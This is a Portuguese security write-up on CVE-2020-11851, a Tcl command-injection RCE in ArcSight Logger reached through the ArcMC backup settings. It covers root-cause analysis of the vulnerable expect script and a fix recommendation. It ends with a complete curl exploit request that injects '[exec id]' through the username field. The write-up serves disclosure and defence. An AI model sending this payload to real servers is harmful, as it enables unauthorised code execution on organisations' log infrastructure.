
Vulnerabilidade de Execução Remota de Código no ArcSight Logger
Vulnerabilidade de Execução Remota de Código no ArcSight Logger (via ArcSight Management Center)
https://nvd.nist.gov/vuln/detail/CVE-2020-11851
Contexto da VulnerabilidadeO ArcSight Logger é uma solução abrangente de gerenciamento de logs que reduz os encargos de conformidade e permite investigações forenses mais rápidas para profissionais de segurança, unificando e armazenando logs de dados de máquina de toda a organização e facilitando a pesquisa rápida e a geração de relatórios sobre esses dados.
O ArcSight Management Center (ArcMC) é um centro centralizado de gerenciamento de segurança que administra grandes implantações de soluções ArcSight, como ArcSight Logger, ArcSight SmartConnectors (Connectors), ArcSight FlexConnectors e ArcSight Connector Appliance (ConApp), por meio de uma única interface.
A vulnerabilidade pode ser explorada por meio da funcionalidade de backup do ArcSight Management Center (versão: 2.7.1.2065.0). Essa opção de backup funciona usando scripts "expect" do ArcSight Logger, que utilizam a Tool Command Language (Tcl). A vulnerabilidade permite que atacantes executem comandos Tcl arbitrários. Essa vulnerabilidade afeta o produto Micro Focus ArcSight Logger em todas as versões anteriores à 7.1.1.
ConclusãoO servidor que executa o software vulnerável pode ser comprometido por atacantes por meio da vulnerabilidade de RCE e se tornar uma cabeça de ponte a partir da qual um adversário poderia lançar ataques adicionais contra os servidores da organização, culminando em uma violação grave. Essa vulnerabilidade pode resultar em perda, corrupção ou divulgação de dados a partes não autorizadas, perda de responsabilização ou negação de acesso.
RecomendaçõesRecomenda-se verificar as práticas recomendadas de segurança Tcl para scripts "expect". Basicamente, usar chaves em eval seria seguro, como abaixo:
eval puts $exploit ;# vulnerável
eval "puts $exploit" ;# vulnerável
eval {puts $exploit} ;# seguro
Mais informações podem ser encontradas aqui: https://wiki.tcl-lang.org/page/Injection+Attack
Esta seção detalha vetores de injeção de comandos que podem ser usados para detectar a vulnerabilidade no ArcSight Logger. Os títulos abaixo podem ser usados para reproduzir as etapas do ataque.
Explorando a opção de backup vulnerávelNa aba de administração, há uma opção de backup.

Como podemos ver, podemos configurar um servidor de backup remoto usando o protocolo SCP. Após clicar no botão "Save", depurei os processos do servidor usando a ferramenta "pspy", que pode ser baixada aqui: https://github.com/DominicBreuker/pspy/releases
Depurando o servidor e análise da causa raizApós salvar a configuração de backup, detectei que o aplicativo usa um script bash para verificar o servidor SSH, como abaixo (observe o PID 95427):

Aqui está o comando mais detalhado (PID 95427) para explicação:
sh /opt/arcsight/current/arcsight/arcmc/config/logger/runexpect.sh /opt/arcsight/current/arcsight/arcmc/bin/filetransfer/lib/ /opt/arcsight/current/arcsight/arcmc/bin/filetransfer/lib/expect /opt/arcsight/current/arcsight/arcmc/tmp/scp.expect.dir.backup1 UserSuppliedPassword UserSuppliedUsernameAndHostname UserSuppliedPortNumber UserSuppliedBackupDirectory
Vamos analisar o conteúdo de "runexpect.sh" e "scp.expect.dir.backup1" (script expect) antes de explicar a lógica de "runexpect.sh".
Aqui está o conteúdo de "runexpect.sh":
#!/bin/sh
# Set LD_LIBRARY_PATH
export LD_LIBRARY_PATH=$1
echo "Assuming LD_LIBRARY_PATH in runexpect :" $LD_LIBRARY_PATH
shift
echo "Running command: $*"
$*
exit $?
E aqui está o conteúdo do script expect chamado "scp.expect.dir.backup1"
set password [lindex $argv 0]
set host [lindex $argv 1]
set port [lindex $argv 2]
set dir [lindex $argv 3]
eval spawn ssh -p $port $host test -d $dir && echo exists //Vulnerability begins here
expect "*(yes/no)?*$" { send "yes\n" }
set timeout 600
expect "*assword:*$" { send "$password\n" } \
timeout { exit 1 }
set timeout -1
expect "\\$ $"
Como podemos ver, "runexpect.sh" define a variável de ambiente (LD_LIBRARY_PATH) e então executa o binário "expect" usando o script "expect" chamado "scp.expect.dir.backup1". Esse script "expect" recebe 4 argumentos para usá-los no comando "ssh".
A vulnerabilidade real começa na linha 5 do script chamado "scp.expect.dir.backup1". Como mencionamos anteriormente, sem chaves, as entradas fornecidas pelo usuário podem ser muito perigosas em scripts Tcl.
Obtendo a execução de códigoComo essa vulnerabilidade de execução de código é completamente cega, usei a maneira mais simples de demonstrar a execução. Usei a ferramenta "pspy" para depurar os processos e ilustrar a execução arbitrária de código enviando a solicitação HTTP maliciosa.
Aqui está a lógica que eu queria que o script "expect" executasse:
eval spawn ssh –p [exec id] test –d fakehostname && echo exists
[exec : this is argv1
id] : this is argv2
fakehostname : this is argv3
Expected behavior would be like this:
eval spawn ssh –p the_output_of_the_id_command test –d fakehostname && echo exists
# Because, [ ] in Tcl, looks like `` in bash. For more information about the Tcl syntax, please visit to https://wiki.tcl-lang.org/welcome
Vamos explicar como chegar a isso. Se eu colocar espaços entre as "strings" no parâmetro "field-username" da solicitação HTTP relacionada, ela seria interpretada involuntariamente pelo script "expect", porque ele não valida a contagem de argumentos, ou seja, eu poderia injetar [exec como o número da porta e id] como o nome de usuário. Normalmente, eu não poderia injetar o parâmetro de número da porta da solicitação HTTP relacionada por causa da validação de entrada (deveria ser apenas dígitos).
Após enviar a solicitação HTTP abaixo, executei o comando com sucesso e imprimi sua saída com a ferramenta "pspy".


Aqui está a solicitação CURL correspondente que usei para explorar a vulnerabilidade (por favor, modifique os tokens relacionados à sessão e o alvo):
curl -i -s -k -X $'POST' \
-H $'Host: TARGET' -H $'User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0' -H $'Accept: text/javascript, text/html, application/xml, text/xml, */*' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'X-Requested-With: XMLHttpRequest' -H $'X-Prototype-Version: 1.5.1.2' -H $'Content-type: application/x-www-form-urlencoded; charset=UTF-8' -H $'Content-Length: 463' -H $'Origin: https://hq-arc-mgmt' -H $'Connection: close' -H $'Referer: https://TARGET/arcmc/stand_alone_backup_config.ftl?menu_id=admin' -H $'Cookie: JSESSIONID=C49A27CF695535133EA896C38A41452A; com.arcsight.product.platform.logger.client.session.SessionContext.productName=\"ArcSight Management Center\"; com.arcsight.product.platform.logger.client.session.SessionContext.arcsightProductName=\"ArcSight Management Center\"; session_string=f2k5OHLthMlDaxUI6HMiah36hzg_sfwlqxEv24LKVAk.; user_id_seq=8' \
-b $'JSESSIONID=C49A27CF695535133EA896C38A41452A; com.arcsight.product.platform.logger.client.session.SessionContext.productName=\"ArcSight Management Center\"; com.arcsight.product.platform.logger.client.session.SessionContext.arcsightProductName=\"ArcSight Management Center\"; session_string=f2k5OHLthMlDaxUI6HMiah36hzg_sfwlqxEv24LKVAk.; user_id_seq=8' \
--data-binary $'editid=backup1&update=true&cancelurl=config_home.ftl&previousSubmit=false&asf_token=e151b811-42d6-4220-88cc-c20832597de9&field-protocol=SCP&field-port=22&field-host=originalHostInput&field-username=id]+[exec+fakeuser@fakeHostInput&field-password=fakePasswordInput123&field-filepath=%2Fbackup&schedule-editor-command1=everyday&schedule-editor-args1=&schedule-editor-command2=daily&schedule-editor-args2=12&schedule-editor-every-duration=hours&field-excludedata=All' \
$'https://TARGET/arcmc/stand_alone_backup_config_edit.ftl?&asf_token=e151b811-42d6-4220-88cc-c20832597de9'